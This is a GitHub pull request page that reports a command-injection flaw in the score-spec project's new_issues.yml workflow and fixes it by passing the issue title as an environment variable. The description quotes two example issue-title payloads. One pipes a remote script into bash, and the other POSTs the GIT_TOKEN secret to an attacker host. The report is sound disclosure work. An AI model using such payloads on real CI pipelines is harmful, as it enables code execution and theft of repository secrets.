score-spec / spec

The Score Specification provides a developer-centric and platform-agnostic Workload specification to improve developer productivity and experience. It eliminates configuration inconsistencies between environments.
https://score.dev/
Apache License 2.0
7.81k stars 2.2k forks source link

Security Update in new_issues.yml #62

Closed aashish-19 closed 1 year ago

aashish-19 commented 1 year ago

Description

new_issues.yml is vulnerable to RCE via command injection in issue title.

Currently, the following block simply appends the issue title to the shell command. Since the issue title is under user's control, a malicious entity could create an issue with a title such that it escapes the command meant to be executed and instead execute arbitrary commands, which could lead to a variety of security issues such as deletion of files and issues, exfiltration of environment variables to leak secrets, etc:

A simple example of a malicious payload in the issue title can be: Security"; curl https://malicious-site.com/malicious-script.sh | bash # This would simply close the double quotes and after running faqtory suggest, it would curl a malicious script and pipe it to bash for execution. It will comment out rest of the code.

Similarly, to exfiltrate environment variables, a sample payload in the issues title can be: Security"; $GIT_TOKEN > /tmp/env.txt && curl -X POST -d @/tmp/env.txt https://malicious-site.com/` This would first save the contents of the GIT_TOKEN environment variable in a file in the /tmp directory and then using curl send the contents of the file in a POST request to the attacker controlled web server.

What does this PR do?

This PR makes the necessary changes to the file to ensure this issue is remediated. To ensure proper sanitization of user inputs, it is best to avoid using them as placeholders directly in the script. This PR therefore passes it as an environment variable, by storing the issue title into an environment variable called TITLE and passing it as an argument into the script, hence mitigating the RCE.

Types of changes

aashish-19 commented 1 year ago

Hey any updates regarding this?

rachfop commented 1 year ago

Thank you for the suggestion.